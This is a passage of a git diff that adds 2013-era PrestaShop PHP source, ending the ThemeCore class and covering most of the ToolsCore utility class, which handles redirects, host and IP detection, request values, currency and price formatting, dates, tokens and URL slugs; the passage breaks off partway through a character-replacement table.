2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ThemeCore extends ObjectModel +{ + public $name; + public $directory; + + /** @var int access rights of created folders (octal) */ + public static $access_rights = 0775; + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'theme', + 'primary' => 'id_theme', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 64, 'required' => true), + 'directory' => array('type' => self::TYPE_STRING, 'validate' => 'isDirName', 'size' => 64, 'required' => true), + ), + ); + + public static function getThemes() + { + $themes = new Collection('Theme'); + $themes->orderBy('name'); + return $themes; + } + + /** + * return an array of all available theme (installed or not) + * + * @param boolean $installed_only + * @return array string (directory) + */ + public static function getAvailable($installed_only = true) + { + static $dirlist = array(); + $available_theme = array(); + + if (empty($dirlist)) + { + $themes = scandir(_PS_ALL_THEMES_DIR_); + foreach ($themes as $theme) + if (is_dir(_PS_ALL_THEMES_DIR_.DIRECTORY_SEPARATOR.$theme) && $theme[0] != '.') + $dirlist[] = $theme; + } + + if ($installed_only) + { + $themes = Theme::getThemes(); + foreach ($themes as $theme_obj) + $themes_dir[] = $theme_obj->directory; + foreach ($dirlist as $theme) + if (false !== array_search($theme, $themes_dir)) + $available_theme[] = $theme; + } + else + $available_theme = $dirlist; + + return $available_theme; + + } + + /** + * check if a theme is used by a shop + * + * @return boolean + */ + public function isUsed() + { + return Db::getInstance()->getValue('SELECT count(*) + FROM '._DB_PREFIX_.'shop WHERE id_theme = '.(int)$this->id); + } + + /** + * add only theme if the directory exists + * + * @param bool $null_values + * @param bool $autodate + * @return boolean Insertion result + */ + public function add($autodate = true, $null_values = false) + { + if (!is_dir(_PS_ALL_THEMES_DIR_.$this->directory)) + return false; + + return parent::add($autodate, $null_values); + } +} diff --git a/classes/Tools.php b/classes/Tools.php new file mode 100755 index 0000000..622e6f5 --- /dev/null +++ b/classes/Tools.php @@ -0,0 +1,2459 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ToolsCore +{ + protected static $file_exists_cache = array(); + protected static $_forceCompile; + protected static $_caching; + + /** + * Random password generator + * + * @param integer $length Desired length (optional) + * @param string $flag Output type (NUMERIC, ALPHANUMERIC, NO_NUMERIC) + * @return string Password + */ + public static function passwdGen($length = 8, $flag = 'ALPHANUMERIC') + { + switch ($flag) + { + case 'NUMERIC': + $str = '0123456789'; + break; + case 'NO_NUMERIC': + $str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + default: + $str = 'abcdefghijkmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + } + + for ($i = 0, $passwd = ''; $i < $length; $i++) + $passwd .= Tools::substr($str, mt_rand(0, Tools::strlen($str) - 1), 1); + return $passwd; + } + + public static function strReplaceFirst($search, $replace, $subject, $cur = 0) + { + return (strpos($subject, $search, $cur))?substr_replace($subject, $replace, (int)strpos($subject, $search, $cur), strlen($search)):$subject; + } + + /** + * Redirect user to another page + * + * @param string $url Desired URL + * @param string $baseUri Base URI (optional) + * @param Link $link + * @param string|array $headers A list of headers to send before redirection + */ + public static function redirect($url, $base_uri = __PS_BASE_URI__, Link $link = null, $headers = null) + { + if (!$link) + $link = Context::getContext()->link; + + if (strpos($url, 'http://') === false && strpos($url, 'https://') === false && $link) + { + if (strpos($url, $base_uri) === 0) + $url = substr($url, strlen($base_uri)); + if (strpos($url, 'index.php?controller=') !== false && strpos($url, 'index.php/') == 0) + { + $url = substr($url, strlen('index.php?controller=')); + if (Configuration::get('PS_REWRITING_SETTINGS')) + $url = Tools::strReplaceFirst('&', '?', $url); + } + + $explode = explode('?', $url); + // don't use ssl if url is home page + // used when logout for example + $use_ssl = !empty($url); + $url = $link->getPageLink($explode[0], $use_ssl); + if (isset($explode[1])) + $url .= '?'.$explode[1]; + } + + // Send additional headers + if ($headers) + { + if (!is_array($headers)) + $headers = array($headers); + + foreach ($headers as $header) + header($header); + } + + header('Location: '.$url); + exit; + } + + /** + * Redirect URLs already containing PS_BASE_URI + * + * @param string $url Desired URL + */ + public static function redirectLink($url) + { + if (!preg_match('@^https?://@i', $url)) + { + if (strpos($url, __PS_BASE_URI__) !== false && strpos($url, __PS_BASE_URI__) == 0) + $url = substr($url, strlen(__PS_BASE_URI__)); + if (strpos($url, 'index.php?controller=') !== false && strpos($url, 'index.php/') == 0) + $url = substr($url, strlen('index.php?controller=')); + $explode = explode('?', $url); + $url = Context::getContext()->link->getPageLink($explode[0]); + if (isset($explode[1])) + $url .= '?'.$explode[1]; + } + header('Location: '.$url); + exit; + } + + /** + * Redirect user to another admin page + * + * @param string $url Desired URL + */ + public static function redirectAdmin($url) + { + header('Location: '.$url); + exit; + } + + /** + * getShopProtocol return the available protocol for the current shop in use + * SSL if Configuration is set on and available for the server + * @static + * @return String + */ + public static function getShopProtocol() + { + $protocol = (Configuration::get('PS_SSL_ENABLED') || (!empty($_SERVER['HTTPS']) + && strtolower($_SERVER['HTTPS']) != 'off')) ? 'https://' : 'http://'; + return $protocol; + } + + /** + * getProtocol return the set protocol according to configuration (http[s]) + * @param bool $use_ssl true if require ssl + * @return String (http|https) + */ + public static function getProtocol($use_ssl = null) + { + return (!is_null($use_ssl) && $use_ssl ? 'https://' : 'http://'); + } + + /** + * getHttpHost return the <b>current</b> host used, with the protocol (http or https) if $http is true + * This function should not be used to choose http or https domain name. + * Use Tools::getShopDomain() or Tools::getShopDomainSsl instead + * + * @param boolean $http + * @param boolean $entities + * @return string host + */ + public static function getHttpHost($http = false, $entities = false, $ignore_port = false) + { + $host = (isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : $_SERVER['HTTP_HOST']); + if ($ignore_port && $pos = strpos($host, ':')) + $host = substr($host, 0, $pos); + if ($entities) + $host = htmlspecialchars($host, ENT_COMPAT, 'UTF-8'); + if ($http) + $host = (Configuration::get('PS_SSL_ENABLED') ? 'https://' : 'http://').$host; + return $host; + } + + /** + * getShopDomain returns domain name according to configuration and ignoring ssl + * + * @param boolean $http if true, return domain name with protocol + * @param boolean $entities if true, + * @return string domain + */ + public static function getShopDomain($http = false, $entities = false) + { + if (!$domain = ShopUrl::getMainShopDomain()) + $domain = Tools::getHttpHost(); + if ($entities) + $domain = htmlspecialchars($domain, ENT_COMPAT, 'UTF-8'); + if ($http) + $domain = 'http://'.$domain; + return $domain; + } + + /** + * getShopDomainSsl returns domain name according to configuration and depending on ssl activation + * + * @param boolean $http if true, return domain name with protocol + * @param boolean $entities if true, + * @return string domain + */ + public static function getShopDomainSsl($http = false, $entities = false) + { + if (!$domain = ShopUrl::getMainShopDomainSSL()) + $domain = Tools::getHttpHost(); + if ($entities) + $domain = htmlspecialchars($domain, ENT_COMPAT, 'UTF-8'); + if ($http) + $domain = (Configuration::get('PS_SSL_ENABLED') ? 'https://' : 'http://').$domain; + return $domain; + } + + /** + * Get the server variable SERVER_NAME + * + * @return string server name + */ + public static function getServerName() + { + if (isset($_SERVER['HTTP_X_FORWARDED_SERVER']) && $_SERVER['HTTP_X_FORWARDED_SERVER']) + return $_SERVER['HTTP_X_FORWARDED_SERVER']; + return $_SERVER['SERVER_NAME']; + } + + /** + * Get the server variable REMOTE_ADDR, or the first ip of HTTP_X_FORWARDED_FOR (when using proxy) + * + * @return string $remote_addr ip of client + */ + public static function getRemoteAddr() + { + // This condition is necessary when using CDN, don't remove it. + if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] && (!isset($_SERVER['REMOTE_ADDR']) || preg_match('/^127\..*/i', trim($_SERVER['REMOTE_ADDR'])) || preg_match('/^172\.16.*/i', trim($_SERVER['REMOTE_ADDR'])) || preg_match('/^192\.168\.*/i', trim($_SERVER['REMOTE_ADDR'])) || preg_match('/^10\..*/i', trim($_SERVER['REMOTE_ADDR'])))) + { + if (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',')) + { + $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); + return $ips[0]; + } + else + return $_SERVER['HTTP_X_FORWARDED_FOR']; + } + return $_SERVER['REMOTE_ADDR']; + } + + /** + * Check if the current page use SSL connection on not + * + * @return bool uses SSL + */ + public static function usingSecureMode() + { + if (isset($_SERVER['HTTPS'])) + return ($_SERVER['HTTPS'] == 1 || strtolower($_SERVER['HTTPS']) == 'on'); + // $_SERVER['SSL'] exists only in some specific configuration + if (isset($_SERVER['SSL'])) + return ($_SERVER['SSL'] == 1 || strtolower($_SERVER['SSL']) == 'on'); + + return false; + } + + /** + * Get the current url prefix protocol (https/http) + * + * @return string protocol + */ + public static function getCurrentUrlProtocolPrefix() + { + if (Tools::usingSecureMode()) + return 'https://'; + else + return 'http://'; + } + + /** + * Secure an URL referrer + * + * @param string $referrer URL referrer + * @return string secured referrer + */ + public static function secureReferrer($referrer) + { + if (preg_match('/^http[s]?:\/\/'.Tools::getServerName().'(:'._PS_SSL_PORT_.')?\/.*$/Ui', $referrer)) + return $referrer; + return __PS_BASE_URI__; + } + + /** + * Get a value from $_POST / $_GET + * if unavailable, take a default value + * + * @param string $key Value key + * @param mixed $default_value (optional) + * @return mixed Value + */ + public static function getValue($key, $default_value = false) + { + if (!isset($key) || empty($key) || !is_string($key)) + return false; + $ret = (isset($_POST[$key]) ? $_POST[$key] : (isset($_GET[$key]) ? $_GET[$key] : $default_value)); + + if (is_string($ret) === true) + $ret = urldecode(preg_replace('/((\%5C0+)|(\%00+))/i', '', urlencode($ret))); + return !is_string($ret)? $ret : stripslashes($ret); + } + + public static function getIsset($key) + { + if (!isset($key) || empty($key) || !is_string($key)) + return false; + return isset($_POST[$key]) ? true : (isset($_GET[$key]) ? true : false); + } + + /** + * Change language in cookie while clicking on a flag + * + * @return string iso code + */ + public static function setCookieLanguage($cookie = null) + { + if (!$cookie) + $cookie = Context::getContext()->cookie; + /* If language does not exist or is disabled, erase it */ + if ($cookie->id_lang) + { + //echo $cookie->id_lang;exit; + $lang = new Language((int)$cookie->id_lang); + if (!Validate::isLoadedObject($lang) || !$lang->active || !$lang->isAssociatedToShop()) + $cookie->id_lang = null; + + } + + /* Automatically detect language if not already defined */ + if (!$cookie->id_lang && isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) + { + $array = explode(',', Tools::strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'])); + if (Tools::strlen($array[0]) > 2) + { + $tab = explode('-', $array[0]); + $string = $tab[0]; + } + else + $string = $array[0]; + if (Validate::isLanguageIsoCode($string)) + { + $lang = new Language(Language::getIdByIso($string)); + if (Validate::isLoadedObject($lang) && $lang->active) + $cookie->id_lang = (int)$lang->id; + } + } + + /* If language file not present, you must use default language file */ + if (!$cookie->id_lang || !Validate::isUnsignedId($cookie->id_lang)) + $cookie->id_lang = (int)Configuration::get('PS_LANG_DEFAULT'); + + $iso = Language::getIsoById((int)$cookie->id_lang); + @include_once(_PS_THEME_DIR_.'lang/'.$iso.'.php'); + + return $iso; + } + + /** + * Set cookie id_lang + */ + public static function switchLanguage(Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + // Install call the dispatcher and so the switchLanguage + // Stop this method by checking the cookie + if (!isset($context->cookie)) + return; + + if (($iso = Tools::getValue('isolang')) && Validate::isLanguageIsoCode($iso) && ($id_lang = (int)Language::getIdByIso($iso))) + $_GET['id_lang'] = $id_lang; + + // update language only if new id is different from old id + // or if default language changed + $cookie_id_lang = $context->cookie->id_lang; + $configuration_id_lang = Configuration::get('PS_LANG_DEFAULT'); + if ((($id_lang = (int)Tools::getValue('id_lang')) && Validate::isUnsignedId($id_lang) && $cookie_id_lang != (int)$id_lang) + || (($id_lang == $configuration_id_lang) && Validate::isUnsignedId($id_lang) && $id_lang != $cookie_id_lang)) + { + $context->cookie->id_lang = $id_lang; + $language = new Language($id_lang); + if (Validate::isLoadedObject($language)) + $context->language = $language; + + $params = $_GET; + if (Configuration::get('PS_REWRITING_SETTINGS') || !Language::isMultiLanguageActivated()) + unset($params['id_lang']); + } + } + + /** + * Set cookie currency from POST or default currency + * + * @return Currency object + */ + public static function setCurrency($cookie) + { + if (Tools::isSubmit('SubmitCurrency')) + if (isset($_POST['id_currency']) && is_numeric($_POST['id_currency'])) + { + $currency = Currency::getCurrencyInstance($_POST['id_currency']); + if (is_object($currency) && $currency->id && !$currency->deleted && $currency->isAssociatedToShop()) + $cookie->id_currency = (int)$currency->id; + } + + if ((int)$cookie->id_currency) + { + $currency = Currency::getCurrencyInstance((int)$cookie->id_currency); + if (is_object($currency) && (int)$currency->id && (int)$currency->deleted != 1 && $currency->active) + if ($currency->isAssociatedToShop()) + return $currency; + else + { + // get currency from context + $currency = Shop::getEntityIds('currency', Context::getContext()->shop->id); + $cookie->id_currency = $currency[0]['id_currency']; + return Currency::getCurrencyInstance((int)$cookie->id_currency); + } + } + $currency = Currency::getCurrencyInstance(Configuration::get('PS_CURRENCY_DEFAULT')); + if (is_object($currency) && $currency->id) + $cookie->id_currency = (int)$currency->id; + + return $currency; + } + + /** + * Return price with currency sign for a given product + * + * @param float $price Product price + * @param object $currency Current currency (object, id_currency, NULL => context currency) + * @return string Price correctly formated (sign, decimal separator...) + */ + public static function displayPrice($price, $currency = null, $no_utf8 = false, Context $context = null) + { + if (!is_numeric($price)) + return $price; + if (!$context) + $context = Context::getContext(); + if ($currency === null) + $currency = $context->currency; + // if you modified this function, don't forget to modify the Javascript function formatCurrency (in tools.js) + elseif (is_int($currency)) + $currency = Currency::getCurrencyInstance((int)$currency); + + if (is_array($currency)) + { + $c_char = $currency['sign']; + $c_format = $currency['format']; + $c_decimals = (int)$currency['decimals'] * _PS_PRICE_DISPLAY_PRECISION_; + $c_blank = $currency['blank']; + } + elseif (is_object($currency)) + { + $c_char = $currency->sign; + $c_format = $currency->format; + $c_decimals = (int)$currency->decimals * _PS_PRICE_DISPLAY_PRECISION_; + $c_blank = $currency->blank; + } + else + return false; + + $blank = ($c_blank ? ' ' : ''); + $ret = 0; + if (($is_negative = ($price < 0))) + $price *= -1; + $price = Tools::ps_round($price, $c_decimals); + switch ($c_format) + { + /* X 0,000.00 */ + case 1: + $ret = $c_char.$blank.number_format($price, $c_decimals, '.', ','); + break; + /* 0 000,00 X*/ + case 2: + $ret = number_format($price, $c_decimals, ',', ' ').$blank.$c_char; + break; + /* X 0.000,00 */ + case 3: + $ret = $c_char.$blank.number_format($price, $c_decimals, ',', '.'); + break; + /* 0,000.00 X */ + case 4: + $ret = number_format($price, $c_decimals, '.', ',').$blank.$c_char; + break; + /* 0 000.00 X Added for the switzerland currency */ + case 5: + $ret = number_format($price, $c_decimals, '.', ' ').$blank.$c_char; + break; + } + if ($is_negative) + $ret = '-'.$ret; + if ($no_utf8) + return str_replace('€', chr(128), $ret); + return $ret; + } + + public static function displayPriceSmarty($params, &$smarty) + { + if (array_key_exists('currency', $params)) + { + $currency = Currency::getCurrencyInstance((int)($params['currency'])); + if (Validate::isLoadedObject($currency)) + return Tools::displayPrice($params['price'], $currency, false); + } + return Tools::displayPrice($params['price']); + } + + /** + * Return price converted + * + * @param float $price Product price + * @param object $currency Current currency object + * @param boolean $to_currency convert to currency or from currency to default currency + */ + public static function convertPrice($price, $currency = null, $to_currency = true, Context $context = null) + { + static $default_currency = null; + + if ($default_currency === null) + $default_currency = (int)Configuration::get('PS_CURRENCY_DEFAULT'); + + if (!$context) + $context = Context::getContext(); + if ($currency === null) + $currency = $context->currency; + elseif (is_numeric($currency)) + $currency = Currency::getCurrencyInstance($currency); + + $c_id = (is_array($currency) ? $currency['id_currency'] : $currency->id); + $c_rate = (is_array($currency) ? $currency['conversion_rate'] : $currency->conversion_rate); + + if ($c_id != $default_currency) + { + if ($to_currency) + $price *= $c_rate; + else + $price /= $c_rate; + } + + return $price; + } + + /** + * + * Convert amount from a currency to an other currency automatically + * @param float $amount + * @param Currency $currency_from if null we used the default currency + * @param Currency $currency_to if null we used the default currency + */ + public static function convertPriceFull($amount, Currency $currency_from = null, Currency $currency_to = null) + { + if ($currency_from === $currency_to) + return $amount; + + if ($currency_from === null) + $currency_from = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); + + if ($currency_to === null) + $currency_to = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); + + if ($currency_from->id == Configuration::get('PS_CURRENCY_DEFAULT')) + $amount *= $currency_to->conversion_rate; + else + { + $conversion_rate = ($currency_from->conversion_rate == 0 ? 1 : $currency_from->conversion_rate); + // Convert amount to default currency (using the old currency rate) + $amount = Tools::ps_round($amount / $conversion_rate, 2); + // Convert to new currency + $amount *= $currency_to->conversion_rate; + } + return Tools::ps_round($amount, 2); + } + + /** + * Display date regarding to language preferences + * + * @param array $params Date, format... + * @param object $smarty Smarty object for language preferences + * @return string Date + */ + public static function dateFormat($params, &$smarty) + { + return Tools::displayDate($params['date'], Context::getContext()->language->id, (isset($params['full']) ? $params['full'] : false)); + } + + /** + * Display date regarding to language preferences + * + * @param string $date Date to display format UNIX + * @param integer $id_lang Language id + * @param boolean $full With time or not (optional) + * @param string $separator DEPRECATED + * @return string Date + */ + public static function displayDate($date, $id_lang, $full = false, $separator = '-') + { + if (!$date || !($time = strtotime($date))) + return $date; + + if ($date == '0000-00-00 00:00:00' || $date == '0000-00-00') + return ''; + + if (!Validate::isDate($date) || !Validate::isBool($full)) + throw new PrestaShopException('Invalid date'); + + $context = Context::getContext(); + $date_format = ($full ? $context->language->date_format_full : $context->language->date_format_lite); + return date($date_format, $time); + } + + /** + * Sanitize a string + * + * @param string $string String to sanitize + * @param boolean $full String contains HTML or not (optional) + * @return string Sanitized string + */ + public static function safeOutput($string, $html = false) + { + if (!$html) + $string = strip_tags($string); + return @Tools::htmlentitiesUTF8($string, ENT_QUOTES); + } + + public static function htmlentitiesUTF8($string, $type = ENT_QUOTES) + { + if (is_array($string)) + return array_map(array('Tools', 'htmlentitiesUTF8'), $string); + return htmlentities((string)$string, $type, 'utf-8'); + } + + public static function htmlentitiesDecodeUTF8($string) + { + if (is_array($string)) + return array_map(array('Tools', 'htmlentitiesDecodeUTF8'), $string); + return html_entity_decode((string)$string, ENT_QUOTES, 'utf-8'); + } + + public static function safePostVars() + { + if (!is_array($_POST)) + return array(); + $_POST = array_map(array('Tools', 'htmlentitiesUTF8'), $_POST); + } + + /** + * Delete directory and subdirectories + * + * @param string $dirname Directory name + */ + public static function deleteDirectory($dirname, $delete_self = true) + { + $dirname = rtrim($dirname, '/').'/'; + if ($files = scandir($dirname)) + { + foreach ($files as $file) + if ($file != '.' && $file != '..' && $file != '.svn') + { + if (is_dir($dirname.$file)) + Tools::deleteDirectory($dirname.$file, true); + elseif (file_exists($dirname.$file)) + unlink($dirname.$file); + } + if ($delete_self) + rmdir($dirname); + } + } + + /** + * Display an error according to an error code + * + * @param string $string Error message + * @param boolean $htmlentities By default at true for parsing error message with htmlentities + */ + public static function displayError($string = 'Fatal error', $htmlentities = true, Context $context = null) + { + global $_ERRORS; + + if (is_null($context)) + $context = Context::getContext(); + + @include_once(_PS_TRANSLATIONS_DIR_.$context->language->iso_code.'/errors.php'); + + if (defined('_PS_MODE_DEV_') && _PS_MODE_DEV_ && $string == 'Fatal error') + return ('<pre>'.print_r(debug_backtrace(), true).'</pre>'); + if (!is_array($_ERRORS)) + return str_replace('"', '"', $string); + $key = md5(str_replace('\'', '\\\'', $string)); + $str = (isset($_ERRORS) && is_array($_ERRORS) && array_key_exists($key, $_ERRORS)) ? ($htmlentities ? htmlentities($_ERRORS[$key], ENT_COMPAT, 'UTF-8') : $_ERRORS[$key]) : $string; + return str_replace('"', '"', stripslashes($str)); + } + + /** + * Display an error with detailed object + * + * @param mixed $object + * @param boolean $kill + * @return $object if $kill = false; + */ + public static function dieObject($object, $kill = true) + { + echo '<xmp style="text-align: left;">'; + print_r($object); + echo '</xmp><br />'; + if ($kill) + die('END'); + return $object; + } + + /** + * Display a var dump in firebug console + * + * @param object $object Object to display + */ + public static function fd($object, $type = 'log') + { + $types = array('log', 'debug', 'info', 'warn', 'error', 'assert'); + + if(!in_array($type, $types)) + $type = 'log'; + + echo ' + <script type="text/javascript"> + console.'.$type.'('.json_encode($object).'); + </script> + '; + } + + /** + * ALIAS OF dieObject() - Display an error with detailed object + * + * @param object $object Object to display + */ + public static function d($object, $kill = true) + { + return (Tools::dieObject($object, $kill)); + } + + /** + * ALIAS OF dieObject() - Display an error with detailed object but don't stop the execution + * + * @param object $object Object to display + */ + public static function p($object) + { + return (Tools::dieObject($object, false)); + } + + /** + * Check if submit has been posted + * + * @param string $submit submit name + */ + public static function isSubmit($submit) + { + return ( + isset($_POST[$submit]) || isset($_POST[$submit.'_x']) || isset($_POST[$submit.'_y']) + || isset($_GET[$submit]) || isset($_GET[$submit.'_x']) || isset($_GET[$submit.'_y']) + ); + } + + /** + * @deprecated 1.5.0 + */ + public static function getMetaTags($id_lang, $page_name, $title = '') + { + Tools::displayAsDeprecated(); + return Meta::getMetaTags($id_lang, $page_name, $title); + } + + /** + * @deprecated 1.5.0 + */ + public static function getHomeMetaTags($id_lang, $page_name) + { + Tools::displayAsDeprecated(); + return Meta::getHomeMetas($id_lang, $page_name); + } + + /** + * @deprecated 1.5.0 + */ + public static function completeMetaTags($meta_tags, $default_value, Context $context = null) + { + Tools::displayAsDeprecated(); + return Meta::completeMetaTags($meta_tags, $default_value, $context); + } + + /** + * Encrypt password + * + * @param string $passwd String to encrypt + */ + public static function encrypt($passwd) + { + return md5(_COOKIE_KEY_.$passwd); + } + + /** + * Get token to prevent CSRF + * + * @param string $token token to encrypt + */ + public static function getToken($page = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + if ($page === true) + return (Tools::encrypt($context->customer->id.$context->customer->passwd.$_SERVER['SCRIPT_NAME'])); + else + return (Tools::encrypt($context->customer->id.$context->customer->passwd.$page)); + } + + /** + * Tokenize a string + * + * @param string $string string to encript + */ + public static function getAdminToken($string) + { + return !empty($string) ? Tools::encrypt($string) : false; + } + + public static function getAdminTokenLite($tab, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + return Tools::getAdminToken($tab.(int)Tab::getIdFromClassName($tab).(int)$context->employee->id); + } + + public static function getAdminTokenLiteSmarty($params, &$smarty) + { + $context = Context::getContext(); + return Tools::getAdminToken($params['tab'].(int)Tab::getIdFromClassName($params['tab']).(int)$context->employee->id); + } + + /** + * Get the user's journey + * + * @param integer $id_category Category ID + * @param string $path Path end + * @param boolean $linkOntheLastItem Put or not a link on the current category + * @param string [optionnal] $categoryType defined what type of categories is used (products or cms) + */ + public static function getPath($id_category, $path = '', $link_on_the_item = false, $category_type = 'products', Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $id_category = (int)$id_category; + if ($id_category == 1) + return '<span class="navigation_end">'.$path.'</span>'; + + $pipe = Configuration::get('PS_NAVIGATION_PIPE'); + if (empty($pipe)) + $pipe = '>'; + + $full_path = ''; + if ($category_type === 'products') + { + $interval = Category::getInterval($id_category); + $id_root_category = $context->shop->getCategory(); + $interval_root = Category::getInterval($id_root_category); + if ($interval) + { + $sql = 'SELECT c.id_category, cl.name, cl.link_rewrite + FROM '._DB_PREFIX_.'category c + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_category = c.id_category'.Shop::addSqlRestrictionOnLang('cl').') + WHERE c.nleft <= '.$interval['nleft'].' + AND c.nright >= '.$interval['nright'].' + AND c.nleft >= '.$interval_root['nleft'].' + AND c.nright <= '.$interval_root['nright'].' + AND cl.id_lang = '.(int)$context->language->id.' + AND c.active = 1 + AND c.level_depth > '.(int)$interval_root['level_depth'].' + ORDER BY c.level_depth ASC'; + $categories = Db::getInstance()->executeS($sql); + + $n = 1; + $n_categories = count($categories); + foreach ($categories as $category) + { + $full_path .= + (($n < $n_categories || $link_on_the_item) ? '<a href="'.Tools::safeOutput($context->link->getCategoryLink((int)$category['id_category'], $category['link_rewrite'])).'" title="'.htmlentities($category['name'], ENT_NOQUOTES, 'UTF-8').'">' : ''). + htmlentities($category['name'], ENT_NOQUOTES, 'UTF-8'). + (($n < $n_categories || $link_on_the_item) ? '</a>' : ''). + (($n++ != $n_categories || !empty($path)) ? '<span class="navigation-pipe">'.$pipe.'</span>' : ''); + } + + return $full_path.$path; + } + } + else if ($category_type === 'CMS') + { + $category = new CMSCategory($id_category, $context->language->id); + if (!Validate::isLoadedObject($category)) + die(Tools::displayError()); + $category_link = $context->link->getCMSCategoryLink($category); + + if ($path != $category->name) + $full_path .= '<a href="'.Tools::safeOutput($category_link).'">'.htmlentities($category->name, ENT_NOQUOTES, 'UTF-8').'</a><span class="navigation-pipe">'.$pipe.'</span>'.$path; + else + $full_path = ($link_on_the_item ? '<a href="'.Tools::safeOutput($category_link).'">' : '').htmlentities($path, ENT_NOQUOTES, 'UTF-8').($link_on_the_item ? '</a>' : ''); + + return Tools::getPath($category->id_parent, $full_path, $link_on_the_item, $category_type); + } + } + + /** + * @param string [optionnal] $type_cat defined what type of categories is used (products or cms) + */ + public static function getFullPath($id_category, $end, $type_cat = 'products', Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $id_category = (int)$id_category; + $pipe = (Configuration::get('PS_NAVIGATION_PIPE') ? Configuration::get('PS_NAVIGATION_PIPE') : '>'); + + $default_category = 1; + if ($type_cat === 'products') + { + $default_category = $context->shop->getCategory(); + $category = new Category($id_category, $context->language->id); + } + else if ($type_cat === 'CMS') + $category = new CMSCategory($id_category, $context->language->id); + + if (!Validate::isLoadedObject($category)) + $id_category = $default_category; + if ($id_category == $default_category) + return htmlentities($end, ENT_NOQUOTES, 'UTF-8'); + + return Tools::getPath($id_category, $category->name, true, $type_cat).'<span class="navigation-pipe">'.$pipe.'</span> <span class="navigation_product">'.htmlentities($end, ENT_NOQUOTES, 'UTF-8').'</span>'; + } + + /** + * Return the friendly url from the provided string + * + * @param string $str + * @param bool $utf8_decode => needs to be marked as deprecated + * @return string + */ + public static function link_rewrite($str, $utf8_decode = false) + { + return Tools::str2url($str); + } + + /** + * Return a friendly url made from the provided string + * If the mbstring library is available, the output is the same as the js function of the same name + * + * @param string $str + * @return string + */ + public static function str2url($str) + { + static $allow_accented_chars = null; + + if ($allow_accented_chars === null) + $allow_accented_chars = Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL'); + + $str = trim($str); + + if (function_exists('mb_strtolower')) + $str = mb_strtolower($str, 'utf-8'); + elseif (!$allow_accented_chars) + $str = Tools::replaceAccentedChars($str); + + // Remove all non-whitelist chars. + if ($allow_accented_chars) + $str = preg_replace('/[^a-zA-Z0-9\s\'\:\/\[\]-\pL]/u', '', $str); + else + $str = preg_replace('/[^a-zA-Z0-9\s\'\:\/\[\]-]/','', $str); + + $str = preg_replace('/[\s\'\:\/\[\]-]+/', ' ', $str); + $str = str_replace(array(' ', '/'), '-', $str); + + // If it was not possible to lowercase the string with mb_strtolower, we do it after the transformations. + // This way we lose fewer special chars. + if (!function_exists('mb_strtolower')) + $str = strtolower($str); + + return $str; + } + + /** + * Replace all accented chars by their equivalent non accented chars. + * + * @param string $str + * @return string + */ + public static function replaceAccentedChars($str) + { + $patterns = array( + /* Lowercase */ + '/[\x{0105}\x{00E0}\x{00E1}\x{00E2}\x{00E3}\x{00E4}\x{00E5}]/u', + '/[\x{00E7}\x{010D}\x{0107}]/u', + '/[\x{010F}]/u', + '/[\x{00E8}\x{00E9}\x{00EA}\x{00EB}\x{011B}\x{0119}]/u', + '/[\x{00EC}\x{00ED}\x{00EE}\x{00EF}]/u', + '/[\x{0142}\x{013E}\x{013A}]/u', + '/[\x{00F1}\x{0148}]/u', + '/[\x{00F2}\x{00F3}\x{00F4}\x{00F5}\x{00F6}\x{00F8}]/u', + '/[\x{0159}\x{0155}]/u', + '/[\x{015B}\x{0161}]/u', + '/[\x{00DF}]/u', + '/[\x{0165}]/u', + '/[\x{00F9}\x{00FA}\x{00FB}\x{00FC}\x{016F}]/u', + '/[\x{00FD}\x{00FF}]/u', + '/[\x{017C}\x{017A}\x{017E}]/u', + '/[\x{00E6}]/u', + '/[\x{0153}]/u', + + /* Uppercase */ + '/[\x{0104}\x{00C0}\x{00C1}\x{00C2}\x{00C3}\x{00C4}\x{00C5}]/u', + '/[\x{00C7}\x{010C}\x{0106}]/u', + '/[\x{010E}]/u', + 